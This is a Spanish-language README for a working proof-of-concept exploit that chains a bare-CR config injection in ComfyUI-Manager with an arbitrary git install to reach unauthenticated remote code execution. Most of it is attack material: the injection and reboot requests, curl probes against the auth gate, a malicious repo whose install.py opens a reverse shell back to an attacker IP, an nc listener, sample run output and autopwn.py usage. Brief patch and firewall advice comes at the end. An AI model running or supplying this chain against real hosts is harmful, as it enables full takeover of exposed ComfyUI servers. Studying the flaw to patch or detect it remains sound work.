
Prueba de concepto de exploit que encadena inyección CRLF en el endpoint de configuración de ComfyUI-Manager con una instalación arbitraria de git para lograr ejecución remota de código sin autenticación.
Severidad: Crítica (CVSS 9.8) Afecta a: ComfyUI-Manager < 3.39.2 y 4.0.0 - 4.0.4 Parcheado en: ComfyUI-Manager 3.39.2 / 4.0.5 Encadenado con: CVE-2025-67303 (Instalación Git Arbitraria -> Ejecución de Código)
ComfyUI-Manager expone un endpoint /api/manager/db_mode que acepta un parámetro de consulta value y lo escribe directamente en config.ini usando el módulo configparser de Python.
La vulnerabilidad es una inyección de retorno de carro desnudo (\r / %0D):
configparser serializa el valor tal cual — \r se almacena tal cual en el archivo.\r desnudo como terminador de línea, dividiendo un valor en dos directivas INI separadas.configparser con strict=False (el valor predeterminado de ComfyUI-Manager) acepta claves duplicadas y usa la última. El security_level = weak inyectado sobrescribe el valor legítimo.Tras un reinicio, la configuración falsificada surte efecto, deshabilitando la barrera de autenticación en /api/customnode/install/git_url (CVE-2025-67303). Ese endpoint clona un repositorio git arbitrario y ejecuta inmediatamente install.py desde él como subproceso — otorgando a un atacante no autenticado ejecución de código completa.
Paso 1 — Inyectar CR desnudo en el endpoint de configuración
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini en disco tras la escritura:
db_mode = cache\r
security_level = weak <- inyectado vía %0D
Paso 2 — Reiniciar el Manager para recargar la configuración falsificada
GET /api/manager/reboot
El Manager relee config.ini; los universal newlines dividen el valor;
last-key-wins -> security_level = weak
Paso 3 — Verificar la barrera (sondear hasta que 403 cambie a 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = barrera aún cerrada
400 = barrera abierta, security_level=weak confirmado
Paso 4 — Disparar la instalación desde el repositorio git malicioso (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
El Manager hace:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- la reverse shell se ejecuta aquí
| Archivo | Propósito |
|---|---|
setup_evil_repo.sh | Construye el repositorio git malicioso y lo sirve por HTTP |
exploit_ad15.sh | Ejecuta la cadena completa: inyección CRLF -> reinicio -> verificación -> disparo |
autopwn.py | Alternativa todo-en-uno en Python (construye el repositorio + ejecuta la cadena completa) |
Paso 1 — Huella de versión
curl -s http://TARGET:8188/api/manager/version
# Vulnerable: "3.39.1" / "4.0.3"
# Parcheado: "3.39.2" / "4.0.5"
Paso 2 — Confirmar que el endpoint CRLF acepta valores
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> el endpoint existe y es escribible
Paso 3 — Sondear la barrera de instalación
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> barrera cerrada (configuración predeterminada, el objetivo es inyectable)
# 400 -> barrera ya abierta (omitir la Fase 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Cadena Completa
============================================================
Objetivo : http://192.168.1.10:8188
Atacante : 10.10.14.1:4444
Repo malicioso : http://10.10.14.1:9099/alg-upscaler.git
[*] Fase 0: Huella de versión
Versión de ComfyUI-Manager: "3.39.1" <- vulnerable
[*] Fase 1: Inyección CRLF -> security_level = weak
[+] Inyección enviada (HTTP 200)
config.ini ahora contiene:
db_mode = cache\r
security_level = weak <- inyectado vía CR desnudo
[*] Fase 2: Disparar reinicio
[+] Solicitud de reinicio enviada -- esperando 30s a que el Manager se reinicie...
[*] Fase 3: Verificar la barrera de seguridad
Intento 1: HTTP 403 <- aún reiniciando
Intento 2: HTTP 403
Intento 3: HTTP 400 <- barrera abierta
[+] Barrera ABIERTA -- security_level=weak está activo
[*] Fase 4: Comprobar que el repositorio git malicioso es accesible
[+] Repositorio malicioso accesible (HTTP 200)
[*] Fase 5: Disparar la instalación git (CVE-2025-67303)
ComfyUI-Manager hará:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd al directorio clonado
3. python install.py <- la reverse shell se ejecuta aquí
El curl en la Fase 5 se queda colgado — la reverse shell llega a nc -lvnp 4444.
| PoC de Vulhub | Este PoC | |
|---|---|---|
install.py | touch /tmp/success (solo prueba de ejecución) | Reverse shell en Python hacia el atacante |
| Resultado | Sin shell interactiva | Shell interactiva completa |
| PoC de Vulhub | Este PoC | |
|---|---|---|
| Lenguaje | Un único archivo Python | Bash, 2 scripts separados |
| Limpieza | tempfile.TemporaryDirectory (auto-eliminado con Ctrl+C) | Manual (permanece en disco) |
| Nombre del repo | Aleatorio (p. ej. evil-node-a1b2c3) | Fijo: alg-upscaler |
| PoC de Vulhub | Este PoC | |
|---|---|---|
| CVE-2026-22777 (inyección CRLF) | No incluido | En exploit_ad15.sh Fase 1 |
| Reinicio + verificación de barrera | No incluido | Espera 30s y luego sondea 403->400 |
| Disparar instalación | curl manual | Automatizado en la Fase 5 |
Paso 1 — Configurar el repositorio malicioso y el listener (dos terminales)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — construir y servir el repositorio malicioso
bash setup_evil_repo.sh 10.10.14.1 4444
Paso 2 — Ejecutar la cadena de exploit completa
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
La shell llega a la Terminal 1 tras la Fase 5.
Alternativa — Python todo-en-uno
# Comando ciego
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Actualizar (recomendado): ComfyUI-Manager 3.39.2 o 4.0.5+.
El parche elimina \r y \n antes de escribir cualquier parámetro de consulta en config.ini.
Mitigaciones de red (si el parcheo no es inmediato):
8188 en el firewall — ComfyUI no está diseñado para exposición pública./api/manager/* y /api/customnode/*.config.ini de solo lectura: chmod 444 config.ini.